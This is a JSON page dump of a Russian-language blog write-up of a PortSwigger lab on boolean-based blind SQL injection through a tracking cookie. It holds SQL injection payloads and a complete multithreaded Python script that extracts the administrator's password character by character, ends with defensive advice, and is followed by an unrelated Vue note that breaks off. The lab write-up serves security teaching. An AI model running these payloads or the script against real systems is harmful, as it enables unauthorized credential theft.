[{"data":1,"prerenderedAt":1956},["ShallowReactive",2],{"page-ru-\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses":3,"recent-ru":646,"posts-ru-pentesting":1540},{"id":4,"title":5,"author":6,"body":7,"date":632,"description":633,"extension":634,"image":635,"meta":636,"navigation":138,"path":637,"seo":638,"stem":639,"tags":640,"__hash__":645},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Слепая SQL-инъекция с условными ответами (PortSwigger Lab)","apsyleg",{"type":8,"value":9,"toc":621},"minimark",[10,15,20,28,48,52,78,82,89,92,102,109,112,152,155,159,164,171,180,191,195,202,217,220,224,231,572,578,589,593,596,601,617],[11,12,14],"h1",{"id":13},"слепая-sql-инъекция-с-условными-ответами","Слепая SQL-инъекция с условными ответами",[16,17,19],"h2",{"id":18},"уязвимость","Уязвимость",[21,22,23,27],"p",{},[24,25,26],"strong",{},"Слепая SQL-инъекция"," (Blind SQLi) — класс SQL-инъекций, при которых приложение не возвращает результаты запросов или сообщения об ошибках в HTTP-ответе. Атакующий получает данные, наблюдая за изменениями в поведении приложения: появляется ли определённое сообщение, меняется ли время ответа.",[21,29,30,31,34,35,39,40,43,44,47],{},"В данном варианте (",[24,32,33],{},"boolean-based blind SQLi",") приложение возвращает разный контент в зависимости от того, вернуло ли условие ",[36,37,38],"code",{},"TRUE"," или ",[36,41,42],{},"FALSE",". Конструируя условия вида ",[36,45,46],{},"SUBSTRING(password, 1, 1) = 'a'",", атакующий может извлекать данные посимвольно.",[16,49,51],{"id":50},"лаборатория","Лаборатория",[21,53,54,57,58,65,68,71,72,74,77],{},[24,55,56],{},"Название:"," ",[59,60,64],"a",{"href":61,"rel":62},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[63],"nofollow","Blind SQL injection with conditional responses",[66,67],"br",{},[24,69,70],{},"Сложность:"," Practitioner",[66,73],{},[24,75,76],{},"Цель:"," Эксплуатировать слепую SQL-инъекцию в tracking cookie, извлечь пароль администратора и войти в аккаунт.",[16,79,81],{"id":80},"разведка","Разведка",[21,83,84,85,88],{},"Приложение хранит cookie ",[36,86,87],{},"TrackingId",", которая используется в SQL-запросе. Результат запроса нигде не отображается, однако на странице появляется сообщение «Welcome back!», если запрос вернул хотя бы одну строку.",[21,90,91],{},"Сначала подтверждаем точку инъекции, добавив кавычку:",[93,94,99],"pre",{"className":95,"code":97,"language":98},[96],"language-text","TrackingId=ncJfdwqSUQK7Gh4b'--\n","text",[36,100,97],{"__ignoreMap":101},"",[21,103,104,105,108],{},"Сообщение «Welcome back!» продолжает появляться — комментарий ",[36,106,107],{},"--"," нейтрализует остаток оригинального запроса, инъекция активна.",[21,110,111],{},"Проверяем булево поведение:",[93,113,117],{"className":114,"code":115,"language":116,"meta":101,"style":101},"language-sql shiki shiki-themes github-light github-dark","-- Условие TRUE → «Welcome back!» появляется\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- Условие FALSE → «Welcome back!» исчезает\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[36,118,119,127,133,140,146],{"__ignoreMap":101},[120,121,124],"span",{"class":122,"line":123},"line",1,[120,125,126],{},"-- Условие TRUE → «Welcome back!» появляется\n",[120,128,130],{"class":122,"line":129},2,[120,131,132],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[120,134,136],{"class":122,"line":135},3,[120,137,139],{"emptyLinePlaceholder":138},true,"\n",[120,141,143],{"class":122,"line":142},4,[120,144,145],{},"-- Условие FALSE → «Welcome back!» исчезает\n",[120,147,149],{"class":122,"line":148},5,[120,150,151],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[21,153,154],{},"Теперь у нас есть надёжный оракул: истинное условие — сообщение есть, ложное — нет. Этого достаточно для извлечения любых данных из базы.",[16,156,158],{"id":157},"эксплуатация","Эксплуатация",[160,161,163],"h3",{"id":162},"шаг-1-определяем-длину-пароля","Шаг 1 — Определяем длину пароля",[21,165,166,167,170],{},"Используем функцию ",[36,168,169],{},"LENGTH()",":",[93,172,174],{"className":114,"code":173,"language":116,"meta":101,"style":101},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[36,175,176],{"__ignoreMap":101},[120,177,178],{"class":122,"line":123},[120,179,173],{},[21,181,182,183,186,187,190],{},"«Welcome back!» появляется при ",[36,184,185],{},"= 20"," — пароль состоит из ",[24,188,189],{},"20 символов",".",[160,192,194],{"id":193},"шаг-2-извлекаем-символы","Шаг 2 — Извлекаем символы",[21,196,197,198,201],{},"Функция ",[36,199,200],{},"SUBSTRING(строка, позиция, длина)"," позволяет проверять по одному символу:",[93,203,205],{"className":114,"code":204,"language":116,"meta":101,"style":101},"-- Первый символ — 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[36,206,207,212],{"__ignoreMap":101},[120,208,209],{"class":122,"line":123},[120,210,211],{},"-- Первый символ — 'w'?\n",[120,213,214],{"class":122,"line":129},[120,215,216],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[21,218,219],{},"Делать это вручную для 20 символов × 36 возможных значений (a–z + 0–9) — сотни запросов. Автоматизируем скриптом.",[160,221,223],{"id":222},"шаг-3-автоматизация-на-python","Шаг 3 — Автоматизация на Python",[21,225,226,227,230],{},"Скрипт использует ",[36,228,229],{},"ThreadPoolExecutor"," для параллельного выполнения 10 запросов одновременно:",[93,232,236],{"className":233,"code":234,"language":235,"meta":101,"style":101},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Определяем длину пароля...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Длина пароля: {n}\")\n            return n\n    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Пароль: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[36,237,238,243,248,253,257,262,268,274,280,285,291,297,303,308,313,319,325,331,337,343,348,353,359,365,371,377,383,389,395,401,406,411,417,423,429,434,440,446,451,456,462,468,474,480,486,492,498,504,510,516,521,526,532,538,544,550,555,560,566],{"__ignoreMap":101},[120,239,240],{"class":122,"line":123},[120,241,242],{},"import requests\n",[120,244,245],{"class":122,"line":129},[120,246,247],{},"import string\n",[120,249,250],{"class":122,"line":135},[120,251,252],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[120,254,255],{"class":122,"line":142},[120,256,139],{"emptyLinePlaceholder":138},[120,258,259],{"class":122,"line":148},[120,260,261],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[120,263,265],{"class":122,"line":264},6,[120,266,267],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[120,269,271],{"class":122,"line":270},7,[120,272,273],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[120,275,277],{"class":122,"line":276},8,[120,278,279],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[120,281,283],{"class":122,"line":282},9,[120,284,139],{"emptyLinePlaceholder":138},[120,286,288],{"class":122,"line":287},10,[120,289,290],{},"CHARSET = string.ascii_lowercase + string.digits\n",[120,292,294],{"class":122,"line":293},11,[120,295,296],{},"MAX_LENGTH = 30\n",[120,298,300],{"class":122,"line":299},12,[120,301,302],{},"THREADS = 10\n",[120,304,306],{"class":122,"line":305},13,[120,307,139],{"emptyLinePlaceholder":138},[120,309,311],{"class":122,"line":310},14,[120,312,139],{"emptyLinePlaceholder":138},[120,314,316],{"class":122,"line":315},15,[120,317,318],{},"def check(sql_condition: str) -> bool:\n",[120,320,322],{"class":122,"line":321},16,[120,323,324],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[120,326,328],{"class":122,"line":327},17,[120,329,330],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[120,332,334],{"class":122,"line":333},18,[120,335,336],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[120,338,340],{"class":122,"line":339},19,[120,341,342],{},"    return \"Welcome back\" in r.text\n",[120,344,346],{"class":122,"line":345},20,[120,347,139],{"emptyLinePlaceholder":138},[120,349,351],{"class":122,"line":350},21,[120,352,139],{"emptyLinePlaceholder":138},[120,354,356],{"class":122,"line":355},22,[120,357,358],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[120,360,362],{"class":122,"line":361},23,[120,363,364],{},"    print(\"[*] Определяем длину пароля...\")\n",[120,366,368],{"class":122,"line":367},24,[120,369,370],{},"    for n in range(1, max_len + 1):\n",[120,372,374],{"class":122,"line":373},25,[120,375,376],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[120,378,380],{"class":122,"line":379},26,[120,381,382],{},"        if check(condition):\n",[120,384,386],{"class":122,"line":385},27,[120,387,388],{},"            print(f\"[+] Длина пароля: {n}\")\n",[120,390,392],{"class":122,"line":391},28,[120,393,394],{},"            return n\n",[120,396,398],{"class":122,"line":397},29,[120,399,400],{},"    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n",[120,402,404],{"class":122,"line":403},30,[120,405,139],{"emptyLinePlaceholder":138},[120,407,409],{"class":122,"line":408},31,[120,410,139],{"emptyLinePlaceholder":138},[120,412,414],{"class":122,"line":413},32,[120,415,416],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[120,418,420],{"class":122,"line":419},33,[120,421,422],{},"    for c in CHARSET:\n",[120,424,426],{"class":122,"line":425},34,[120,427,428],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[120,430,432],{"class":122,"line":431},35,[120,433,382],{},[120,435,437],{"class":122,"line":436},36,[120,438,439],{},"            return pos, c\n",[120,441,443],{"class":122,"line":442},37,[120,444,445],{},"    return pos, \"?\"\n",[120,447,449],{"class":122,"line":448},38,[120,450,139],{"emptyLinePlaceholder":138},[120,452,454],{"class":122,"line":453},39,[120,455,139],{"emptyLinePlaceholder":138},[120,457,459],{"class":122,"line":458},40,[120,460,461],{},"def get_password(length: int) -> str:\n",[120,463,465],{"class":122,"line":464},41,[120,466,467],{},"    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n",[120,469,471],{"class":122,"line":470},42,[120,472,473],{},"    password = [\"?\"] * length\n",[120,475,477],{"class":122,"line":476},43,[120,478,479],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[120,481,483],{"class":122,"line":482},44,[120,484,485],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[120,487,489],{"class":122,"line":488},45,[120,490,491],{},"        for future in as_completed(futures):\n",[120,493,495],{"class":122,"line":494},46,[120,496,497],{},"            pos, char = future.result()\n",[120,499,501],{"class":122,"line":500},47,[120,502,503],{},"            password[pos - 1] = char\n",[120,505,507],{"class":122,"line":506},48,[120,508,509],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[120,511,513],{"class":122,"line":512},49,[120,514,515],{},"    return \"\".join(password)\n",[120,517,519],{"class":122,"line":518},50,[120,520,139],{"emptyLinePlaceholder":138},[120,522,524],{"class":122,"line":523},51,[120,525,139],{"emptyLinePlaceholder":138},[120,527,529],{"class":122,"line":528},52,[120,530,531],{},"def main():\n",[120,533,535],{"class":122,"line":534},53,[120,536,537],{},"    length = get_password_length()\n",[120,539,541],{"class":122,"line":540},54,[120,542,543],{},"    password = get_password(length)\n",[120,545,547],{"class":122,"line":546},55,[120,548,549],{},"    print(f\"\\n[+] Пароль: {password}\")\n",[120,551,553],{"class":122,"line":552},56,[120,554,139],{"emptyLinePlaceholder":138},[120,556,558],{"class":122,"line":557},57,[120,559,139],{"emptyLinePlaceholder":138},[120,561,563],{"class":122,"line":562},58,[120,564,565],{},"if __name__ == \"__main__\":\n",[120,567,569],{"class":122,"line":568},59,[120,570,571],{},"    main()\n",[21,573,574,575],{},"Результат: ",[36,576,577],{},"wfa3n32o7a6mb4xon7d6",[21,579,580,581,584,585,588],{},"Заходим в ",[36,582,583],{},"\u002Fmy-account"," как ",[36,586,587],{},"administrator"," с этим паролем — лаба решена.",[16,590,592],{"id":591},"вывод","Вывод",[21,594,595],{},"Слепая SQL-инъекция менее очевидна, чем классическая, но не менее опасна. Даже без какого-либо вывода данных, одного булевого сигнала (сообщение есть \u002F нет) достаточно для извлечения всей базы.",[21,597,598],{},[24,599,600],{},"Как защититься:",[602,603,604,608,611],"ul",{},[605,606,607],"li",{},"Использовать параметризованные запросы (prepared statements) — они полностью исключают инъекцию",[605,609,610],{},"Никогда не конкатенировать пользовательский ввод напрямую в SQL-строку",[605,612,613,614],{},"Применять принцип наименьших привилегий — аккаунт веб-приложения не должен иметь доступ к таблице ",[36,615,616],{},"users",[618,619,620],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":101,"searchDepth":129,"depth":129,"links":622},[623,624,625,626,631],{"id":18,"depth":129,"text":19},{"id":50,"depth":129,"text":51},{"id":80,"depth":129,"text":81},{"id":157,"depth":129,"text":158,"children":627},[628,629,630],{"id":162,"depth":135,"text":163},{"id":193,"depth":135,"text":194},{"id":222,"depth":135,"text":223},{"id":591,"depth":129,"text":592},"2026-03-28","Как эксплуатировать слепую SQL-инъекцию через tracking cookie методом булевого вывода и многопоточного Python-скрипта.","md",null,{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":5,"description":633},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[641,642,643,644],"portswigger","sql-injection","blind-sqli","web-security","VT_XCLAwWSq5eUzidLCyFph4qOXnC4jczwBb8lA_p_w",[647,1062,1364,1414],{"id":4,"title":5,"author":6,"body":648,"date":632,"description":633,"extension":634,"image":635,"meta":1059,"navigation":138,"path":637,"seo":1060,"stem":639,"tags":1061,"__hash__":645},{"type":8,"value":649,"toc":1048},[650,652,654,658,668,670,685,687,691,693,698,702,704,728,730,732,734,738,746,752,754,758,770,772,774,778,1018,1022,1028,1030,1032,1036,1046],[11,651,14],{"id":13},[16,653,19],{"id":18},[21,655,656,27],{},[24,657,26],{},[21,659,30,660,34,662,39,664,43,666,47],{},[24,661,33],{},[36,663,38],{},[36,665,42],{},[36,667,46],{},[16,669,51],{"id":50},[21,671,672,57,674,677,679,71,681,683,77],{},[24,673,56],{},[59,675,64],{"href":61,"rel":676},[63],[66,678],{},[24,680,70],{},[66,682],{},[24,684,76],{},[16,686,81],{"id":80},[21,688,84,689,88],{},[36,690,87],{},[21,692,91],{},[93,694,696],{"className":695,"code":97,"language":98},[96],[36,697,97],{"__ignoreMap":101},[21,699,104,700,108],{},[36,701,107],{},[21,703,111],{},[93,705,706],{"className":114,"code":115,"language":116,"meta":101,"style":101},[36,707,708,712,716,720,724],{"__ignoreMap":101},[120,709,710],{"class":122,"line":123},[120,711,126],{},[120,713,714],{"class":122,"line":129},[120,715,132],{},[120,717,718],{"class":122,"line":135},[120,719,139],{"emptyLinePlaceholder":138},[120,721,722],{"class":122,"line":142},[120,723,145],{},[120,725,726],{"class":122,"line":148},[120,727,151],{},[21,729,154],{},[16,731,158],{"id":157},[160,733,163],{"id":162},[21,735,166,736,170],{},[36,737,169],{},[93,739,740],{"className":114,"code":173,"language":116,"meta":101,"style":101},[36,741,742],{"__ignoreMap":101},[120,743,744],{"class":122,"line":123},[120,745,173],{},[21,747,182,748,186,750,190],{},[36,749,185],{},[24,751,189],{},[160,753,194],{"id":193},[21,755,197,756,201],{},[36,757,200],{},[93,759,760],{"className":114,"code":204,"language":116,"meta":101,"style":101},[36,761,762,766],{"__ignoreMap":101},[120,763,764],{"class":122,"line":123},[120,765,211],{},[120,767,768],{"class":122,"line":129},[120,769,216],{},[21,771,219],{},[160,773,223],{"id":222},[21,775,226,776,230],{},[36,777,229],{},[93,779,780],{"className":233,"code":234,"language":235,"meta":101,"style":101},[36,781,782,786,790,794,798,802,806,810,814,818,822,826,830,834,838,842,846,850,854,858,862,866,870,874,878,882,886,890,894,898,902,906,910,914,918,922,926,930,934,938,942,946,950,954,958,962,966,970,974,978,982,986,990,994,998,1002,1006,1010,1014],{"__ignoreMap":101},[120,783,784],{"class":122,"line":123},[120,785,242],{},[120,787,788],{"class":122,"line":129},[120,789,247],{},[120,791,792],{"class":122,"line":135},[120,793,252],{},[120,795,796],{"class":122,"line":142},[120,797,139],{"emptyLinePlaceholder":138},[120,799,800],{"class":122,"line":148},[120,801,261],{},[120,803,804],{"class":122,"line":264},[120,805,267],{},[120,807,808],{"class":122,"line":270},[120,809,273],{},[120,811,812],{"class":122,"line":276},[120,813,279],{},[120,815,816],{"class":122,"line":282},[120,817,139],{"emptyLinePlaceholder":138},[120,819,820],{"class":122,"line":287},[120,821,290],{},[120,823,824],{"class":122,"line":293},[120,825,296],{},[120,827,828],{"class":122,"line":299},[120,829,302],{},[120,831,832],{"class":122,"line":305},[120,833,139],{"emptyLinePlaceholder":138},[120,835,836],{"class":122,"line":310},[120,837,139],{"emptyLinePlaceholder":138},[120,839,840],{"class":122,"line":315},[120,841,318],{},[120,843,844],{"class":122,"line":321},[120,845,324],{},[120,847,848],{"class":122,"line":327},[120,849,330],{},[120,851,852],{"class":122,"line":333},[120,853,336],{},[120,855,856],{"class":122,"line":339},[120,857,342],{},[120,859,860],{"class":122,"line":345},[120,861,139],{"emptyLinePlaceholder":138},[120,863,864],{"class":122,"line":350},[120,865,139],{"emptyLinePlaceholder":138},[120,867,868],{"class":122,"line":355},[120,869,358],{},[120,871,872],{"class":122,"line":361},[120,873,364],{},[120,875,876],{"class":122,"line":367},[120,877,370],{},[120,879,880],{"class":122,"line":373},[120,881,376],{},[120,883,884],{"class":122,"line":379},[120,885,382],{},[120,887,888],{"class":122,"line":385},[120,889,388],{},[120,891,892],{"class":122,"line":391},[120,893,394],{},[120,895,896],{"class":122,"line":397},[120,897,400],{},[120,899,900],{"class":122,"line":403},[120,901,139],{"emptyLinePlaceholder":138},[120,903,904],{"class":122,"line":408},[120,905,139],{"emptyLinePlaceholder":138},[120,907,908],{"class":122,"line":413},[120,909,416],{},[120,911,912],{"class":122,"line":419},[120,913,422],{},[120,915,916],{"class":122,"line":425},[120,917,428],{},[120,919,920],{"class":122,"line":431},[120,921,382],{},[120,923,924],{"class":122,"line":436},[120,925,439],{},[120,927,928],{"class":122,"line":442},[120,929,445],{},[120,931,932],{"class":122,"line":448},[120,933,139],{"emptyLinePlaceholder":138},[120,935,936],{"class":122,"line":453},[120,937,139],{"emptyLinePlaceholder":138},[120,939,940],{"class":122,"line":458},[120,941,461],{},[120,943,944],{"class":122,"line":464},[120,945,467],{},[120,947,948],{"class":122,"line":470},[120,949,473],{},[120,951,952],{"class":122,"line":476},[120,953,479],{},[120,955,956],{"class":122,"line":482},[120,957,485],{},[120,959,960],{"class":122,"line":488},[120,961,491],{},[120,963,964],{"class":122,"line":494},[120,965,497],{},[120,967,968],{"class":122,"line":500},[120,969,503],{},[120,971,972],{"class":122,"line":506},[120,973,509],{},[120,975,976],{"class":122,"line":512},[120,977,515],{},[120,979,980],{"class":122,"line":518},[120,981,139],{"emptyLinePlaceholder":138},[120,983,984],{"class":122,"line":523},[120,985,139],{"emptyLinePlaceholder":138},[120,987,988],{"class":122,"line":528},[120,989,531],{},[120,991,992],{"class":122,"line":534},[120,993,537],{},[120,995,996],{"class":122,"line":540},[120,997,543],{},[120,999,1000],{"class":122,"line":546},[120,1001,549],{},[120,1003,1004],{"class":122,"line":552},[120,1005,139],{"emptyLinePlaceholder":138},[120,1007,1008],{"class":122,"line":557},[120,1009,139],{"emptyLinePlaceholder":138},[120,1011,1012],{"class":122,"line":562},[120,1013,565],{},[120,1015,1016],{"class":122,"line":568},[120,1017,571],{},[21,1019,574,1020],{},[36,1021,577],{},[21,1023,580,1024,584,1026,588],{},[36,1025,583],{},[36,1027,587],{},[16,1029,592],{"id":591},[21,1031,595],{},[21,1033,1034],{},[24,1035,600],{},[602,1037,1038,1040,1042],{},[605,1039,607],{},[605,1041,610],{},[605,1043,613,1044],{},[36,1045,616],{},[618,1047,620],{},{"title":101,"searchDepth":129,"depth":129,"links":1049},[1050,1051,1052,1053,1058],{"id":18,"depth":129,"text":19},{"id":50,"depth":129,"text":51},{"id":80,"depth":129,"text":81},{"id":157,"depth":129,"text":158,"children":1054},[1055,1056,1057],{"id":162,"depth":135,"text":163},{"id":193,"depth":135,"text":194},{"id":222,"depth":135,"text":223},{"id":591,"depth":129,"text":592},{},{"title":5,"description":633},[641,642,643,644],{"id":1063,"title":1064,"author":1065,"body":1066,"date":1354,"description":1355,"extension":634,"image":635,"meta":1356,"navigation":138,"path":1357,"seo":1358,"stem":1359,"tags":1360,"__hash__":1363},"content_ru\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Создание стейта компонента через reactive() как в Options API","Олег Анучин",{"type":8,"value":1067,"toc":1352},[1068,1072,1082,1093,1349],[11,1069,1071],{"id":1070},"создание-стейта-компонента-через-reactive","Создание стейта компонента через reactive()",[21,1073,1074,1075,1078,1079,190],{},"В Options API мы можем использовать ",[36,1076,1077],{},"data()"," для создания стейта компонента и обращаться к нему через ",[36,1080,1081],{},"this",[21,1083,1084,1085,1088,1089,1092],{},"С помощью ",[36,1086,1087],{},"reactive()"," из Composition API можно добиться того же — гораздо удобнее, чем ",[36,1090,1091],{},"ref()"," для нескольких свойств.",[93,1094,1098],{"className":1095,"code":1096,"language":1097,"meta":101,"style":101},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Цена: {{ price }}\u003C\u002Fp>\n  \u003Cp>Количество: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Итого: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue",[36,1099,1100,1113,1129,1133,1144,1153,1171,1182,1190,1195,1199,1219,1233,1237,1241,1248,1259,1264,1269,1274,1279,1288,1292,1301,1315,1328,1341],{"__ignoreMap":101},[120,1101,1102,1106,1110],{"class":122,"line":123},[120,1103,1105],{"class":1104},"sVt8B","\u003C",[120,1107,1109],{"class":1108},"s9eBZ","script",[120,1111,1112],{"class":1104},">\n",[120,1114,1115,1119,1122,1125],{"class":122,"line":129},[120,1116,1118],{"class":1117},"szBVR","import",[120,1120,1121],{"class":1104}," { computed, reactive, toRefs } ",[120,1123,1124],{"class":1117},"from",[120,1126,1128],{"class":1127},"sZZnC"," 'vue'\n",[120,1130,1131],{"class":122,"line":135},[120,1132,139],{"emptyLinePlaceholder":138},[120,1134,1135,1138,1141],{"class":122,"line":142},[120,1136,1137],{"class":1117},"export",[120,1139,1140],{"class":1117}," default",[120,1142,1143],{"class":1104}," {\n",[120,1145,1146,1150],{"class":122,"line":148},[120,1147,1149],{"class":1148},"sScJk","  setup",[120,1151,1152],{"class":1104},"() {\n",[120,1154,1155,1158,1162,1165,1168],{"class":122,"line":264},[120,1156,1157],{"class":1117},"    const",[120,1159,1161],{"class":1160},"sj4cs"," state",[120,1163,1164],{"class":1117}," =",[120,1166,1167],{"class":1148}," reactive",[120,1169,1170],{"class":1104},"({\n",[120,1172,1173,1176,1179],{"class":122,"line":270},[120,1174,1175],{"class":1104},"      price: ",[120,1177,1178],{"class":1160},"2",[120,1180,1181],{"class":1104},",\n",[120,1183,1184,1187],{"class":122,"line":276},[120,1185,1186],{"class":1104},"      quantity: ",[120,1188,1189],{"class":1160},"5\n",[120,1191,1192],{"class":122,"line":282},[120,1193,1194],{"class":1104},"    })\n",[120,1196,1197],{"class":122,"line":287},[120,1198,139],{"emptyLinePlaceholder":138},[120,1200,1201,1203,1206,1208,1211,1214,1217],{"class":122,"line":293},[120,1202,1157],{"class":1117},[120,1204,1205],{"class":1160}," total",[120,1207,1164],{"class":1117},[120,1209,1210],{"class":1148}," computed",[120,1212,1213],{"class":1104},"(() ",[120,1215,1216],{"class":1117},"=>",[120,1218,1143],{"class":1104},[120,1220,1221,1224,1227,1230],{"class":122,"line":299},[120,1222,1223],{"class":1117},"      return",[120,1225,1226],{"class":1104}," state.price ",[120,1228,1229],{"class":1117},"*",[120,1231,1232],{"class":1104}," state.quantity\n",[120,1234,1235],{"class":122,"line":305},[120,1236,1194],{"class":1104},[120,1238,1239],{"class":122,"line":310},[120,1240,139],{"emptyLinePlaceholder":138},[120,1242,1243,1246],{"class":122,"line":315},[120,1244,1245],{"class":1117},"    return",[120,1247,1143],{"class":1104},[120,1249,1250,1253,1256],{"class":122,"line":321},[120,1251,1252],{"class":1117},"      ...",[120,1254,1255],{"class":1148},"toRefs",[120,1257,1258],{"class":1104},"(state),\n",[120,1260,1261],{"class":122,"line":327},[120,1262,1263],{"class":1104},"      total\n",[120,1265,1266],{"class":122,"line":333},[120,1267,1268],{"class":1104},"    }\n",[120,1270,1271],{"class":122,"line":339},[120,1272,1273],{"class":1104},"  }\n",[120,1275,1276],{"class":122,"line":345},[120,1277,1278],{"class":1104},"}\n",[120,1280,1281,1284,1286],{"class":122,"line":350},[120,1282,1283],{"class":1104},"\u003C\u002F",[120,1285,1109],{"class":1108},[120,1287,1112],{"class":1104},[120,1289,1290],{"class":122,"line":355},[120,1291,139],{"emptyLinePlaceholder":138},[120,1293,1294,1296,1299],{"class":122,"line":361},[120,1295,1105],{"class":1104},[120,1297,1298],{"class":1108},"template",[120,1300,1112],{"class":1104},[120,1302,1303,1306,1308,1311,1313],{"class":122,"line":367},[120,1304,1305],{"class":1104},"  \u003C",[120,1307,21],{"class":1108},[120,1309,1310],{"class":1104},">Цена: {{ price }}\u003C\u002F",[120,1312,21],{"class":1108},[120,1314,1112],{"class":1104},[120,1316,1317,1319,1321,1324,1326],{"class":122,"line":373},[120,1318,1305],{"class":1104},[120,1320,21],{"class":1108},[120,1322,1323],{"class":1104},">Количество: {{ quantity }}\u003C\u002F",[120,1325,21],{"class":1108},[120,1327,1112],{"class":1104},[120,1329,1330,1332,1334,1337,1339],{"class":122,"line":379},[120,1331,1305],{"class":1104},[120,1333,21],{"class":1108},[120,1335,1336],{"class":1104},">Итого: {{ total }}\u003C\u002F",[120,1338,21],{"class":1108},[120,1340,1112],{"class":1104},[120,1342,1343,1345,1347],{"class":122,"line":385},[120,1344,1283],{"class":1104},[120,1346,1298],{"class":1108},[120,1348,1112],{"class":1104},[618,1350,1351],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html 